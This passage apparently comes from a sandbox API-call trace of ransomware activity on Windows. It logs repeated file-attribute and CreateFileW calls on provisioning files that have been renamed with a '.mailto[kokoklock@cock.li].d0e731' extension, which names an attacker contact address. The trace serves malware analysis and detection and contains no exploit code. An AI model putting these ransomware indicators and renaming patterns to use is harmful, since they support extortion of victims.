(finland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.901] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\133__Connections_Cellular_TDC Song Finland (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.901] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0e18) returned 1 [0178.901] RtlExitUserThread (Status=0x0) Thread: id = 2658 os_tid = 0x10f4 [0177.741] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\134__connections_cellular_sonera (finland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.968] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.968] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\134__connections_cellular_sonera (finland)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.968] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\134__Connections_Cellular_Sonera (Finland)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96bd8) returned 1 [0178.968] RtlExitUserThread (Status=0x0) Thread: id = 2659 os_tid = 0x10fc [0177.742] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\135__connections_cellular_bouygues (france)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.969] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.970] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\135__connections_cellular_bouygues (france)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.970] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\135__Connections_Cellular_Bouygues (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.970] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96d68) returned 1 [0178.970] RtlExitUserThread (Status=0x0) Thread: id = 2660 os_tid = 0x1100 [0177.742] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\136__connections_cellular_bouygues (france)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.971] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.971] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\136__connections_cellular_bouygues (france)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.971] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\136__Connections_Cellular_Bouygues (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.971] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8d3b0) returned 1 [0178.971] RtlExitUserThread (Status=0x0) Thread: id = 2661 os_tid = 0x1104 [0177.743] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\137__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.972] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.972] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\137__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.972] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\137__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.973] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8d540) returned 1 [0178.973] RtlExitUserThread (Status=0x0) Thread: id = 2662 os_tid = 0x1108 [0177.743] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\138__connections_cellular_free mobile (france)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.902] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.902] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\138__connections_cellular_free mobile (france)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.902] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\138__Connections_Cellular_Free Mobile (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.902] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8d6b8) returned 1 [0178.902] RtlExitUserThread (Status=0x0) Thread: id = 2663 os_tid = 0x110c [0177.744] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\139__connections_cellular_orange (france)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.903] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.903] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\139__connections_cellular_orange (france)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.903] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\139__Connections_Cellular_Orange (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.903] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faba08) returned 1 [0178.903] RtlExitUserThread (Status=0x0) Thread: id = 2664 os_tid = 0x1110 [0177.744] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\13__connections_cellular_optus (australia)_i4$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.914] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.914] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\13__connections_cellular_optus (australia)_i4$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.914] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\13__Connections_Cellular_Optus (Australia)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.914] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fabb98) returned 1 [0178.914] RtlExitUserThread (Status=0x0) Thread: id = 2665 os_tid = 0x1114 [0177.745] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\140__connections_cellular_orange (france)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.915] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.915] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\140__connections_cellular_orange (france)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.915] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\140__Connections_Cellular_Orange (France)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.915] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fabd28) returned 1 [0178.915] RtlExitUserThread (Status=0x0) Thread: id = 2666 os_tid = 0x1328 [0177.745] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\141__connections_cellular_orange (france)_i2$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.916] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.916] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\141__connections_cellular_orange (france)_i2$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.917] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\141__Connections_Cellular_Orange (France)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.917] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fabeb8) returned 1 [0178.917] RtlExitUserThread (Status=0x0) Thread: id = 2667 os_tid = 0x132c [0177.746] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\142__connections_cellular_orange (france)_i3$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.917] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.918] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\142__connections_cellular_orange (france)_i3$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.918] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\142__Connections_Cellular_Orange (France)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.918] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b880) returned 1 [0178.918] RtlExitUserThread (Status=0x0) Thread: id = 2668 os_tid = 0x1330 [0177.746] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\143__connections_cellular_orange (france)_i4$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.919] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.919] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\143__connections_cellular_orange (france)_i4$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.919] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.919] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0ba10) returned 1 [0178.919] RtlExitUserThread (Status=0x0) Thread: id = 2669 os_tid = 0x1334 [0177.747] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\144__connections_cellular_orange (france)_i5$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.920] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.920] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\144__connections_cellular_orange (france)_i5$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.920] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.920] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0bba0) returned 1 [0178.920] RtlExitUserThread (Status=0x0) Thread: id = 2670 os_tid = 0x1338 [0177.747] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\145__connections_cellular_orange (france)_i6$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.974] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.974] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\145__connections_cellular_orange (france)_i6$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.974] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.974] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0bd30) returned 1 [0178.974] RtlExitUserThread (Status=0x0) Thread: id = 2671 os_tid = 0x1340 [0177.748] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\146__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.975] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.975] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\146__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.975] 